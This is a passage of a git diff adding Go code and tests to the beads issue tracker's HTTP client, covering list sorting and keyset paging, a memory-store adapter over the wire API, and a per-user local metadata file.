TestTheEncodedMetadataDocumentUsesOnlyPublishedMembers(t *testing.T) { + published := bodyMembers(t, reflect.TypeOf(apigen.ApplyMetadataPatch{})) + + // Replace is deliberately NOT set beside the other three: the wire refuses + // that combination with a 400 and so does the role, so a patch setting all + // four at once is not a request either side would answer. It gets its own + // pass. + document, err := encodeMetadataPatch(issueops.MetadataPatch{ + Merge: set(json.RawMessage(`{"m":1}`)), + Set: map[string]json.RawMessage{"s": json.RawMessage(`1`)}, + Unset: []string{"u"}, + }) + if err != nil { + t.Fatalf("encode the incremental metadata edits: %v", err) + } + replacement, err := encodeMetadataPatch(issueops.MetadataPatch{Replace: set(json.RawMessage(`{}`))}) + if err != nil { + t.Fatalf("encode the replacement: %v", err) + } + for member := range replacement { + document[member] = replacement[member] + } + + for member := range document { + if !published[member] { + t.Errorf("the encoded metadata document carries %q, which ApplyMetadataPatch does not publish: %v", + member, sortedKeys(published)) + } + } + for member := range published { + if _, ok := document[member]; !ok { + t.Errorf("ApplyMetadataPatch publishes %q and no arm of MetadataPatch drives it; that member is unreachable from this client", + member) + } + } +} + +func sortedStringKeys(m map[string]string) []string { + out := make([]string, 0, len(m)) + for k := range m { + out = append(out, k) + } + sort.Strings(out) + return out +} diff --git a/internal/httpclient/list_sort_test.go b/internal/httpclient/list_sort_test.go new file mode 100644 index 000000000..ab39f275b --- /dev/null +++ b/internal/httpclient/list_sort_test.go @@ -0,0 +1,209 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/list_sort_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "slices" + "testing" + "time" + + "gopkg.in/yaml.v3" + + "github.com/steveyegge/beads/internal/httpapi/spec" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/storage/sqlbuild" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// TestFlaglessListSortIsTheSameOrderNamed is the drift pin for the pushdown's +// one translation: issueops.ListRequest's empty SortBy goes onto the wire as +// `priority`, and that is sound only while the two are the SAME order. +// +// A served run cannot show this. It would answer correctly whichever spelling +// were sent, because the reference store on the far side is the same code +// making the same substitution — so the case that catches a wrong constant is +// this one, asked of the three places the equivalence has to hold at once. +// +// It sits in the default build rather than behind the cgo tag for the same +// reason the other two drift pins do: nothing here needs a database. +func TestFlaglessListSortIsTheSameOrderNamed(t *testing.T) { + // THE DOCUMENT. The translation exists because an empty value is not in + // the published enum — a server would refuse `sort=` — so what the client + // substitutes has to be a member, and the absence of an empty member is + // what keeps the substitution from being dead code. + published := publishedParamEnum(t, wire.OpListIssues, "sort") + if len(published) == 0 { + t.Fatalf("the document publishes no `sort` enum on %s; this direction would assert nothing", wire.OpListIssues) + } + if !slices.Contains(published, flaglessListSort) { + t.Errorf("flaglessListSort = %q, which %s does not publish (%v): the pushdown would earn a 400 on every "+ + "request nobody named a sort for", flaglessListSort, wire.OpListIssues, published) + } + if slices.Contains(published, "") { + t.Errorf("%s now publishes an empty `sort` member (%v): ListRequest's own empty SortBy could be sent "+ + "verbatim and this translation is dead code rather than a necessity", wire.OpListIssues, published) + } + + // THE SERVER'S ORDER BY, which is what actually decides which rows survive + // the limit once the order is pushed down. Both directions, because the + // pushdown emits `reverse` alongside `sort` and a spelling that agreed + // ascending and disagreed descending would still lose rows. + column := func(key string) string { return key } + for _, reverse := range []bool{false, true} { + flagless := sqlbuild.OrderByForColumns("", reverse, column) + named := sqlbuild.OrderByForColumns(flaglessListSort, reverse, column) + if flagless == "" { + t.Fatalf("the flagless order renders no ORDER BY (reverse %v); it is a Go-side sort now, and the "+ + "pushdown cannot ask a server for an order the server does not express", reverse) + } + if flagless != named { + t.Errorf("reverse %v: the flagless order renders %q and %q renders %q; the pushdown would ask the "+ + "server for a different order than a local `bd list` runs", reverse, flagless, flaglessListSort, named) + } + } + + // THE CLIENT'S OWN EPILOGUE, which is the half the pushdown newly leans on. + // sortListRows still runs over the page the server ordered, and it runs + // under the caller's spelling — the empty one — while the server ordered + // under the substituted one. If those two produced different orders, the + // fast leg would fetch the right rows and then shuffle them. + // + // The corpus is SCRAMBLED before each run so this compares two orders + // rather than two no-ops. + for _, reverse := range []bool{false, true} { + flagless := flaglessSortCorpus() + named := flaglessSortCorpus() + sortListRows(flagless, "", reverse) + sortListRows(named, flaglessListSort, reverse) + if got, want := rowIDs(flagless), rowIDs(named); !slices.Equal(got, want) { + t.Errorf("reverse %v: the client orders the flagless spelling %v and %q %v; the pushdown asks the "+ + "server for one and re-sorts the answer under the other", reverse, got, flaglessListSort, want) + } + } +} + +// TestKeysetFilterKeepsExactlyTheRowsPastThePositionInItsOrder is the drift +// pin for the walk's discard rule: a row survives keysetFilter exactly when +// sqlbuild.Less — the Go-side mirror of the ORDER BY a local list renders — +// puts the position before it, in the order the position names. A position +// carrying AfterPriority is one in the priority order and a bare pair is one in +// the created order, which is how the local predicate chooses between +// sqlbuild's two keyset clauses. +// +// Every corpus row is tried as the position against every row, so each of the +// order's tie-breaks — priority, then instant, then id — decides some pair, and +// the corpus's newer lower-priority rows are the ones a filter that compared +// the pair alone would get wrong. +func TestKeysetFilterKeepsExactlyTheRowsPastThePositionInItsOrder(t *testing.T) { + corpus := flaglessSortCorpus() + for _, order := range []string{"priority", "created"} { + for _, pos := range corpus { + req := issueops.ListRequest{AfterCreatedAt: ptrTo(pos.CreatedAt), AfterID: pos.ID} + if order == "priority" { + req.AfterPriority = ptrTo(pos.Priority) + } + keep := keysetFilter(req) + if keep == nil { + t.Fatalf("a %s position at %s has no discard rule", order, pos.ID) + } + for _, row := range corpus { + if got, want := keep(row), sqlbuild.Less(pos.Issue, row.Issue, order, false); got != want { + t.Errorf("a %s position at %s (P%d) keeps %s (P%d) = %v, want %v", + order, pos.ID, pos.Priority, row.ID, row.Priority, got, want) + } + } + } + } +} + +// TestKeysetFilterNeedsAnInstant pins the contract's rule that AfterCreatedAt +// alone decides whether a position was supplied: an id or a priority without +// one is ignored, as the local predicate ignores it, rather than read as a +// position at the zero instant — which every row is after, so the page would +// come back empty. +func TestKeysetFilterNeedsAnInstant(t *testing.T) { + for name, req := range map[string]issueops.ListRequest{ + "an id alone": {AfterID: "bd-1"}, + "a priority alone": {AfterPriority: ptrTo(1)}, + "both, no instant": {AfterID: "bd-1", AfterPriority: ptrTo(1)}, + } { + if keysetFilter(req) != nil { + t.Errorf("%s: keysetFilter answered a discard rule, want none — there is no position without an instant", name) + } + } +} + +func rowIDs(rows []*types.IssueWithCounts) []string { + ids := make([]string, 0, len(rows)) + for _, row := range rows { + ids = append(ids, row.ID) + } + return ids +} + +// flaglessSortCorpus is a fixed set of rows, in an order that is none of the +// ones under test, reaching every tie-break the flagless order carries: equal +// priorities decided by created time, equal priorities and equal instants +// decided by id, and ids whose natural and lexical orders disagree. +func flaglessSortCorpus() []*types.IssueWithCounts { + base := time.Date(2026, 8, 21, 12, 0, 0, 0, time.UTC) + var corpus []*types.IssueWithCounts + for _, seed := range []struct { + id string + priority int + minute int + }{ + {"bd-6", 2, 0}, {"bd-2", 0, 0}, {"bd-7", 3, 5}, {"bd-10", 0, 0}, + {"bd-4", 1, 0}, {"bd-1", 0, 0}, {"bd-5", 1, 5}, {"bd-3", 0, 5}, + } { + at := base.Add(time.Duration(seed.minute) * time.Minute) + corpus = append(corpus, &types.IssueWithCounts{Issue: &types.Issue{ + ID: seed.id, Title: seed.id, Status: types.StatusOpen, Priority: seed.priority, + IssueType: types.TypeTask, CreatedAt: at, UpdatedAt: at, + }}) + } + return corpus +} + +// publishedParamEnum reads one operation parameter's enum out of the wire +// contract itself, rather than out of a second copy of the names. +func publishedParamEnum(t *testing.T, operationID, param string) []string { + t.Helper() + // S3 reconciliation (2026-10): spec.OpenAPIV0() rather + // than a relative os.ReadFile — the document is go:embed'd into + // internal/httpapi/spec precisely so a reader does not depend on a + // filesystem layout, and a relative path breaks the moment this runs + // under Bazel's test sandbox, which copies in only what a target + // declares as `data`. internal/httpclient/encode's own bijection gate + // already reads the document this way for the same reason. + raw := spec.OpenAPIV0() + var doc struct { + Paths map[string]map[string]struct { + OperationID string `yaml:"operationId"` + Parameters []struct { + Name string `yaml:"name"` + Schema struct { + Enum []string `yaml:"enum"` + } `yaml:"schema"` + } `yaml:"parameters"` + } `yaml:"paths"` + } + if err := yaml.Unmarshal(raw, &doc); err != nil { + t.Fatalf("parse the wire contract: %v", err) + } + for _, methods := range doc.Paths { + for _, operation := range methods { + if operation.OperationID != operationID { + continue + } + for _, p := range operation.Parameters { + if p.Name == param { + return p.Schema.Enum + } + } + } + } + t.Fatalf("the document publishes no %s parameter on %s", param, operationID) + return nil +} diff --git a/internal/httpclient/list_walk.go b/internal/httpclient/list_walk.go new file mode 100644 index 000000000..5d9a0ec23 --- /dev/null +++ b/internal/httpclient/list_walk.go @@ -0,0 +1,457 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/list_walk.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "net/http" + "net/url" + "slices" + "strconv" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" + storageops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/storage/sqlbuild" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The listIssues pager: the three things the wire cannot carry for `bd list`, +// done here because the encoder table says they are done here. +// +// - THE DISPLAY ORDER. The operation publishes `sort` now, so a BOUNDED +// request in an order the caller named is one request: sortedPage names the +// order on the wire and the server's own LIMIT decides which rows survive +// it. What is left of ledger row L2 is the three legs that cannot take that +// route — an unlimited read, a caller-supplied keyset position, and a +// server that does not advertise the capability — which still walk to +// exhaustion and then run the client-side comparator. The weld itself is +// unchanged: a cursor is bound to the paged order it was minted in +// (`created` or `priority`, upstream #5666), and the server refuses it under +// any other `sort`, because resuming a keyset position inside a different +// order skips and duplicates rows; the seven display orders and every +// reversed order never carry one. +// - THE CALLER-SUPPLIED KEYSET POSITION. issueops.Reader promises every +// implementation honors AfterCreatedAt/AfterID, and the wire populates them +// only from an opaque cursor the client must not mint. So the position is +// honored by a SKIP-FORWARD WALK: page the created-order wire from the +// start and discard the rows at or before the position (D8 row 1). +// - THE MaxRows CAP. The wire publishes no max_rows, so the cap is enforced +// during page accumulation and the exact sentinel `bd list` classifies into +// exit 2 is synthesized here (D12). +// +// WHAT IS DELIBERATELY ABSENT is a `created_before` jump for the keyset walk. +// It would be the obvious optimization and it is unsafe: created_before is +// strictly exclusive while the keyset upper bound is inclusive, so a jump +// computed from an instant whose storage granularity the client cannot observe +// would silently drop the same-instant tail — the exact drop L3 and L12 exist +// to prevent, traded for a round trip. + +// wireListSort is the order listIssues serves when no `sort` names another, +// spelled as the sort key ListRequest.SortBy takes for it. A request in this +// order and this direction is the one shape the walk can stop early on, and the +// one shape the pushdown leaves alone. +const wireListSort = "created" + +// flaglessListSort is how the pager spells ListRequest's own empty SortBy — the +// order `bd list` shows when nobody names one — as a value the published enum +// carries. +// +// The two are the SAME clause and not merely similar ones: sqlbuild renders `""` +// and `"priority"` through one branch (internal/storage/sqlbuild/sort.go, +// `if sortBy == "" || sortBy == "priority"`), and sqlbuild.Less mirrors it the +// same way. What the server does differently under the named spelling is run the +// page epilogue's comparator over the clause's output, which is a stable sort by +// the same key — order-preserving on rows the same clause already ordered. +// +// It cannot be sent as `sort=` instead: an empty value is not in the published +// enum, so the server would refuse it, and refusing is the correct thing for the +// server to do — an empty enum member is a client that failed to decide. +const flaglessListSort = "priority" + +// walkPageSize is how many rows one request asks for when the CLIENT owns the +// paging rather than the caller's own limit — an unlimited read, or any walk to +// exhaustion. It is a round trip's worth of rows, not a bound on the answer. +// +// It is a var and not a const for exactly one reason: the multi-page arm of the +// walk — the cursor echo, the accumulation across pages, the termination — is +// only reachable with more rows than this, and a test that seeded two hundred of +// them would be paying seconds to exercise three lines. +var walkPageSize = 200 + +// defaultListLimit is the shared list default a nil ListRequest.Limit means. +// +// It is redeclared rather than imported: internal/workapi is denied to this +// package by depguard (a client-side filter is one no server-side gate can +// observe), and the constant is needed here because a walk to exhaustion has to +// know what to trim to. TestDefaultListLimitMatchesTheSharedDefault pins it +// against workapi's own from a test file, where the rule does not apply. +const defaultListLimit = 50 + +// walkIssues answers one ListRequest from listIssues. +// +// params is the encoder's output and stays authoritative for every filter: the +// only keys this function writes are `limit` and `cursor`, which the encoder +// table already assigns to the pager (the cursor is reserved on the listIssues +// table, and the parent-walk table says the pager owns the per-page limit). +func (s *Store) walkIssues(ctx context.Context, params url.Values, req issueops.ListRequest) (issueops.IssuePage, error) { + limit := defaultListLimit + if req.Limit != nil { + limit = *req.Limit + } + // A negative limit is the server's refusal to make, not this pager's: it + // has a documented 400 for it, and the mapper turns that into the same + // ErrValidation a local backend answers with. Sending the encoder's params + // verbatim is how that reaches the caller unmangled. + if limit < 0 { + var body apigen.IssuesPage + if err := s.dispatch(ctx, listRequest(params), &body); err != nil { + return issueops.IssuePage{}, err + } + return issueops.IssuePage{Items: wireRows(body.Items, req.Brief), HasMore: body.HasMore}, nil + } + + keep := keysetFilter(req) + // The walk can stop early only when the rows arrive in the order the caller + // asked for; anything else has to see every row before it knows which ones + // the page keeps. + want := 0 + if req.SortBy == wireListSort && !req.Reverse { + want = limit + } + + // THE PUSHDOWN LEG. Each conjunct names a leg that must stay a walk, and + // they are ordered cheapest-decides-first because only the last one can + // cost a round trip: + // + // limit > 0 — an unlimited read has to cross every row anyway, so + // pushdown saves nothing, and sending `limit=0` down would + // newly meet the server's unlimited-read refusal that the + // fixed-size walk deliberately never reaches. (A negative + // limit returned above; this is "not unlimited".) + // want == 0 — the created order the walk ALREADY stops early on. Under + // it `want` is the caller's limit and under every other + // order it is zero, so this is that same fact spelled once + // rather than a second copy of the condition that can drift + // from it. Sending `sort=created` would be accepted and + // would buy nothing but a larger skew surface, so the one + // request family that predates the parameter keeps sending + // no parameter. + // keep == nil — no caller-supplied keyset position. keysetFilter returns + // nil for exactly that, so asking IT rather than restating + // its condition is what keeps the two from drifting. The + // filter discards from what the walk FETCHED, and run + // against a page some other order truncated it drops rows + // whose replacements were never fetched — a wrong answer, + // not a slow one. + // sort + cap — a --max-rows cap over an order SQL cannot express. This + // leg's whole cap story is that min(limit, MaxRows+1) IS + // the local expression, and for a GO-SIDE sort it is not: + // workapi.SQLLimit pushes 0 down rather than the limit, + // because the ordering happens after the query, so locally + // the window is MaxRows+1 REGARDLESS of the limit and the + // cap fires on the overage even under a limit at or below + // it. A request bounded by the limit cannot observe that + // overage, so pushing one down would answer where both + // local mode and the walk refuse. sqlbuild.IsGoSideSort is + // asked rather than its member named, so a second Go-side + // key added there cannot reopen this silently. Uncapped, + // the question does not arise and these keys push down like + // any other. + // + // The capability probe is last because it is the only one that can dial. + if limit > 0 && want == 0 && keep == nil && + listSortPushdownEligible(req) && + !(req.MaxRows > 0 && sqlbuild.IsGoSideSort(req.SortBy)) && + s.servesListSort(ctx) { + return s.sortedPage(ctx, params, req, limit) + } + + rows, err := s.fetchIssuePages(ctx, params, req.Brief, want, req.MaxRows, req.MaxRowsSource, keep) + if err != nil { + return issueops.IssuePage{}, err + } + + sortListRows(rows, req.SortBy, req.Reverse) + hasMore := false + if limit > 0 && len(rows) > limit { + rows, hasMore = rows[:limit], true + } + return issueops.IssuePage{Items: rows, HasMore: hasMore}, nil +} + +// servesListSort reports whether the server advertises issues.list.sort. +// +// It forces the one lazy handshake the store already owns and reads the cached +// capability list, exactly as servesBatchClose does, so it costs at most one +// round trip per process and none once the handshake has run. listIssues is a +// BASELINE operation — dispatch preflights nothing for it — so on a `bd list` +// this is the only handshake there is, which is why the gate above consults it +// last: a request that cannot push down never pays for it. +// +// A handshake that cannot be obtained reports false rather than an error, and +// that is a deliberate choice about which behavior is preserved. This is a +// CAPABILITY PROBE on a baseline read: the answer it is asking for is "may I +// take the fast leg", and every negative answer — the token absent, the server +// too old, the handshake refused — has the same correct response, which is to +// take the leg this client has always taken. Propagating the error instead +// would newly fail `bd list` against a server it works against today, since the +// baseline exemption means today's walk never asks for a handshake at all. The +// error is not lost: the walk's own first request meets the same server, and +// whatever it says — a transport failure, a wrong-project refusal — reaches the +// caller from there. +func (s *Store) servesListSort(ctx context.Context) bool { + snap, err := s.snapshot(ctx) + if err != nil || snap == nil { + return false + } + return slices.Contains(snap.Capabilities, wire.CapListSort) +} + +// listSortPushdownEligible reports whether req's display order is one +// listIssues can serve directly. +// +// The operation's `sort` enum is closed to the two keyset orders this client +// names wireListSort and flaglessListSort ("created" and "priority") — the +// seven other `bd list --sort` orders have no keyset predicate the server can +// page, so the spec does not publish them here at all; sending one anyway +// would meet the same `invalid_value` 400 a stale client earns for a value +// outside the enum. +// +// listIssues ALSO publishes no `reverse` parameter — that member exists only +// on GET /v0/beads/issues:query, a different operation with a different +// vocabulary (nine orders, used for the Go-side sort case up above, not a +// keyset order at all). A pushdown request naming `reverse` would not be +// answered backwards; it would be refused outright as a parameter this +// operation does not know, since listIssues never reads one. So a reversed +// request of any order, including the two eligible ones, has to come home +// over the walk and be re-sorted client-side in sortListRows — the walk and +// the early-stop leg above both already gate on !req.Reverse for the same +// reason. +func listSortPushdownEligible(req issueops.ListRequest) bool { + if req.Reverse { + return false + } + switch req.SortBy { + case "", wireListSort, flaglessListSort: + return true + default: + return false + } +} + +// sortedPage answers a bounded request in the caller's own order with ONE +// request, by naming that order on the wire. +// +// What this fixes is not the sort — the client could always re-sort what it +// fetched — but the ROW SET: which rows survive the caller's limit is now +// decided under the caller's order, by the same reader a local `bd list` runs, +// instead of by fetching every row the filter matches. The page carries no +// cursor and needs none: there is exactly one request, and the server's +// has_more IS the caller's, because unlike the walk this leg discards nothing +// the server counted. +// +// sortListRows still runs. It is O(n log n) over the page rather than over the +// result set, and keeping it leaves the display order self-authoritative +// against tie-semantics drift in a server one version away — which is the half +// of an order a re-sort CAN repair. +func (s *Store) sortedPage(ctx context.Context, params url.Values, req issueops.ListRequest, limit int) (issueops.IssuePage, error) { + page := url.Values{} + for key, values := range params { + page[key] = values + } + sortBy := req.SortBy + if sortBy == "" { + sortBy = flaglessListSort + } + page.Set("sort", sortBy) + // No `reverse` here: listIssues publishes no such parameter (that member + // belongs only to GET /v0/beads/issues:query's nine-order vocabulary), and + // listSortPushdownEligible already refused this call before it got here if + // req.Reverse were set. Sending it — even spelled false — would meet this + // operation's unknown-parameter refusal, since the handler never reads a + // `reverse` key at all. + + // The cap, spelled as the storage layer spells it: LIMIT min(Limit, + // MaxRows+1). The overage row is what proves the cap fired, and asking for + // no more than one past it is what stops the cap from bounding a page it + // was never meant to bound. Under a cap at or above the limit the request + // is the limit's own, so the cap CANNOT fire — which is local semantics + // (the window could not have exceeded it) and the L15 narrowing. + // + // That equivalence holds because a capped GO-SIDE sort never reaches this + // function: for those keys workapi.SQLLimit sends 0 rather than the limit, + // so the local window is MaxRows+1 and the cap CAN fire under a limit + // beneath it. walkIssues' gate is what keeps them on the walk, which is + // the leg that models that unbounded window. + size := limit + if req.MaxRows > 0 && req.MaxRows+1 < size { + size = req.MaxRows + 1 + } + page.Set("limit", strconv.Itoa(size)) + + var body apigen.IssuesPage + if err := s.dispatch(ctx, listRequest(page), &body); err != nil { + return issueops.IssuePage{}, err + } + if req.MaxRows > 0 && len(body.Items) > req.MaxRows { + return issueops.IssuePage{}, &storageops.ErrTooManyRows{Found: len(body.Items), Cap: req.MaxRows, Source: req.MaxRowsSource} + } + + rows := wireRows(body.Items, req.Brief) + sortListRows(rows, req.SortBy, req.Reverse) + return issueops.IssuePage{Items: rows, HasMore: body.HasMore}, nil +} + +// fetchIssuePages walks the created-order wire, keeping the rows keep admits. +// +// want is how many KEPT rows are enough to answer, or 0 for "every one of +// them". It over-fetches by one, exactly as the store-backed reader asks its +// query for one row past the page: the extra row IS the has-more verdict, and +// asking the wire for its own has_more instead would answer about the rows the +// SERVER hid rather than the ones the caller's page does. +// +// brief travels down here rather than being applied to the walk's answer because +// this is where the rows are lifted, and wireRows is the one place that knows +// how to mark a projected one. It sits next to params rather than beside want +// and maxRows deliberately: it is the only bool in the list, so it has no +// same-typed neighbor to be transposed with. +func (s *Store) fetchIssuePages( + ctx context.Context, + params url.Values, + brief bool, + want, maxRows int, + maxRowsSource string, + keep func(*types.IssueWithCounts) bool, +) ([]*types.IssueWithCounts, error) { + page := url.Values{} + for key, values := range params { + page[key] = values + } + + var ( + kept []*types.IssueWithCounts + fetched int + cursor string + ) + for { + size := walkPageSize + if want > 0 { + if remaining := want + 1 - len(kept); remaining < size { + size = remaining + } + } + if maxRows > 0 { + // Mirrors the storage layer's LIMIT MaxRows+1 overage probe: one + // row past the cap is what proves the cap fired, and never more + // than one, because the cap bounds WIRE ROWS FETCHED (D12). + if allowed := maxRows + 1 - fetched; allowed < size { + size = allowed + } + } + if size <= 0 { + break + } + + page.Set("limit", strconv.Itoa(size)) + if cursor != "" { + page.Set("cursor", cursor) + } + var body apigen.IssuesPage + if err := s.dispatch(ctx, listRequest(page), &body); err != nil { + return nil, err + } + + fetched += len(body.Items) + if maxRows > 0 && fetched > maxRows { + return nil, &storageops.ErrTooManyRows{Found: fetched, Cap: maxRows, Source: maxRowsSource} + } + for _, row := range wireRows(body.Items, brief) { + if keep == nil || keep(row) { + kept = append(kept, row) + } + } + + if want > 0 && len(kept) > want { + break + } + // next_cursor is present if and only if has_more WITHIN THE UNSORTED + // FAMILY, which is the scope the document now states the biconditional + // at: a page the server ordered by a `sort` reports a truthful has_more + // and carries no cursor at all, because a cursor is a position in the + // created order and that page is not in it. + // + // THIS FUNCTION IS ALWAYS INSIDE THAT FAMILY, and it is the reason the + // stop below is still a correctness check rather than an early exit + // from a shape the server ships on purpose: the `sort` key is written + // by sortedPage and by nothing else, and sortedPage sends one request + // and reads no cursor. So on every page this walk can receive, a claim + // of more with no position named is a server this client cannot page, + // and it stops rather than re-issuing the same request forever. + if !body.HasMore || body.NextCursor == nil || *body.NextCursor == "" { + break + } + cursor = *body.NextCursor + } + if kept == nil { + kept = []*types.IssueWithCounts{} + } + return kept, nil +} + +func listRequest(query url.Values) wire.Request { + return wire.Request{ + Op: wire.OpListIssues, + Method: http.MethodGet, + Path: wire.PathIssues, + Query: query, + } +} + +// keysetFilter turns a caller-supplied position into the discard rule of the +// skip-forward walk, or nil when the request carries none. +// +// AfterCreatedAt ALONE decides whether there is a position, which is the +// contract's rule (issueops.ListRequest) and the local predicate's +// (sqlbuild.BuildIssueFilterClauses). An AfterID or AfterPriority with no instant +// is ignored there, so it is ignored here — read as a position at the zero +// instant instead, it would discard every row, since every row is after it. +// +// The position is a PAIR and both halves matter: rows older than its timestamp +// are kept, and rows sharing that timestamp are kept only when their id sorts +// after it. A filter that compared the timestamp alone would drop the +// same-instant row, which is exactly how a keyset page loses records. +// +// AfterPriority extends the pair to the (priority ASC, created_at DESC, id ASC) +// order, and it is decided FIRST: a row at another priority is past the +// position exactly when its priority is the higher-numbered one, whatever its +// instant, and only a row at the position's own priority falls through to the +// pair. That nesting is sqlbuild.KeysetPriorityCreatedAtIDPredicate's, for its +// reason: the pair alone would re-deliver every higher-priority row created +// before the position and drop every lower-priority row created after it. +func keysetFilter(req issueops.ListRequest) func(*types.IssueWithCounts) bool { + if req.AfterCreatedAt == nil { + return nil + } + at, after := *req.AfterCreatedAt, req.AfterID + byPriority, atPriority := req.AfterPriority != nil, 0 + if byPriority { + atPriority = *req.AfterPriority + } + return func(row *types.IssueWithCounts) bool { + if row == nil || row.Issue == nil { + return false + } + switch { + case byPriority && row.Priority != atPriority: + return row.Priority > atPriority + case row.CreatedAt.After(at): + return false + case row.CreatedAt.Equal(at) && row.ID <= after: + return false + default: + return true + } + } +} diff --git a/internal/httpclient/memories.go b/internal/httpclient/memories.go new file mode 100644 index 000000000..e5bc3f655 --- /dev/null +++ b/internal/httpclient/memories.go @@ -0,0 +1,122 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/memories.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "errors" + "strings" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/issueops" + "github.com/steveyegge/beads/memoryops" +) + +// httpMemories serves memoryops.Memories from the four memory operations +// (design D8 row 15). +// +// The role is one plane and one interface, so the accessor cannot be flipped by +// halves: the two writes this bead owns arrive with the two reads that share +// their vocabulary, and all four go through the same key rules. +// +// THE MISS IS A RESULT, NOT AN ERROR. memoryops deliberately declares no +// ErrNotFound: a recall or a forget that found nothing answers Found false with +// a nil error. The wire spells the same miss as a 404, which the problem mapper +// turns into issueops.ErrNotFound — so the one piece of real translation in this +// file is turning that back into the role's own answer. Getting it wrong would +// make `bd recall` of an unknown key an error where every other backend prints +// "not found". +type httpMemories struct { + store *Store + wire WriteWire +} + +var _ memoryops.Memories = (*httpMemories)(nil) + +// Remember stores one memory. An ABSENT key asks the server to derive one from +// the content, which is why the wire member is a pointer: an empty string is not +// the same request as an omitted member, and the derived key comes back in the +// result so the caller learns where the memory landed. +func (m *httpMemories) Remember(ctx context.Context, req memoryops.RememberRequest) (memoryops.RememberResult, error) { + if strings.TrimSpace(req.Content) == "" { + return memoryops.RememberResult{}, invalid("content is required") + } + + body := apigen.RememberRequest{Content: req.Content} + if req.Key != "" { + key := req.Key + body.Key = &key + } + res, err := m.wire.RememberMemory(ctx, body) + if err != nil { + return memoryops.RememberResult{}, err + } + return memoryops.RememberResult{Key: res.Key, Value: res.Value, Replaced: res.Replaced}, nil +} + +// Recall reads one memory. +func (m *httpMemories) Recall(ctx context.Context, req memoryops.RecallRequest) (memoryops.RecallResult, error) { + if err := requireMemoryKey(req.Key); err != nil { + return memoryops.RecallResult{}, err + } + res, err := m.wire.RecallMemory(ctx, req.Key) + if errors.Is(err, issueops.ErrNotFound) { + return memoryops.RecallResult{Key: req.Key}, nil + } + if err != nil { + return memoryops.RecallResult{}, err + } + // Found is Value != "": the role conflates a stored empty string with an + // absent memory, and so does the wire, which 404s the same row. + return memoryops.RecallResult{Key: req.Key, Value: res.Value, Found: res.Value != ""}, nil +} + +// Forget removes one memory and reports the value it removed. +func (m *httpMemories) Forget(ctx context.Context, req memoryops.ForgetRequest) (memoryops.ForgetResult, error) { + if err := requireMemoryKey(req.Key); err != nil { + return memoryops.ForgetResult{}, err + } + res, err := m.wire.ForgetMemory(ctx, req.Key) + if errors.Is(err, issueops.ErrNotFound) { + // Nothing was stored under the key, and nothing was deleted. A result, + // not an error: forgetting what was never remembered is the state the + // caller asked for. + return memoryops.ForgetResult{Key: req.Key}, nil + } + if err != nil { + return memoryops.ForgetResult{}, err + } + return memoryops.ForgetResult{Key: req.Key, Value: res.Value, Found: true}, nil +} + +// List enumerates the memory plane, narrowed by Search. +// +// The folding is the ROLE's, so it happens server-side: the raw term goes on the +// wire as `search` and the server's own role lowercases both sides. Folding it +// here as well would be a second implementation of a rule that has one. +func (m *httpMemories) List(ctx context.Context, req memoryops.ListRequest) (memoryops.ListResult, error) { + page, err := m.wire.ListMemories(ctx, req.Search) + if err != nil { + return memoryops.ListResult{}, err + } + // Empty map, never nil: a caller ranges over it without a nil check, and + // "the plane is empty" is not something to spell as an absent answer. + out := make(map[string]string, len(page.Items)) + for _, memory := range page.Items { + out[memory.Key] = memory.Value + } + return memoryops.ListResult{Memories: out}, nil +} + +// requireMemoryKey applies the role's trim rule before a key becomes a path. +// +// The server refuses a blank key on these two operations as well, but as a 400 +// alongside the 404 that means "no such memory" — and a caller cannot act on the +// difference if the client never made it. Refusing here keeps the role's +// ErrValidation promise and keeps a request that cannot succeed off the wire. +func requireMemoryKey(key string) error { + if strings.TrimSpace(key) == "" { + return invalid("memory key is required") + } + return nil +} diff --git a/internal/httpclient/metadata.go b/internal/httpclient/metadata.go new file mode 100644 index 000000000..a58c5619c --- /dev/null +++ b/internal/httpclient/metadata.go @@ -0,0 +1,140 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/metadata.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "os" + "path/filepath" + "sync" + + "github.com/steveyegge/beads/internal/httpclient/wire" +) + +// LocalMetadataFileName holds the per-user local metadata this backend answers +// from disk instead of from the server (design D3/D4). +const LocalMetadataFileName = "http_local_metadata.json" + +// localMetadata is the per-user state file beside the activation sidecar. It is +// small, rewritten whole, and 0600 like the sidecar. +type localMetadata struct { + path string + mu sync.Mutex +} + +func newLocalMetadata(beadsDir string) *localMetadata { + if beadsDir == "" { + return nil + } + return &localMetadata{path: filepath.Join(beadsDir, LocalMetadataFileName)} +} + +func (l *localMetadata) load() (map[string]string, error) { + data, err := os.ReadFile(l.path) // #nosec G304 - controlled path + if os.IsNotExist(err) { + return map[string]string{}, nil + } + if err != nil { + return nil, fmt.Errorf("reading %s: %w", LocalMetadataFileName, err) + } + m := map[string]string{} + if err := json.Unmarshal(data, &m); err != nil { + return nil, fmt.Errorf("parsing %s: %w", LocalMetadataFileName, err) + } + return m, nil +} + +func (l *localMetadata) get(key string) (string, error) { + l.mu.Lock() + defer l.mu.Unlock() + m, err := l.load() + if err != nil { + return "", err + } + return m[key], nil +} + +func (l *localMetadata) set(key, value string) error { + l.mu.Lock() + defer l.mu.Unlock() + m, err := l.load() + if err != nil { + return err + } + m[key] = value + data, err := json.MarshalIndent(m, "", " ") + if err != nil { + return fmt.Errorf("marshaling %s: %w", LocalMetadataFileName, err) + } + if err := os.WriteFile(l.path, data, 0o600); err != nil { + return fmt.Errorf("writing %s: %w", LocalMetadataFileName, err) + } + return nil +} + +// GetLocalMetadata is served from 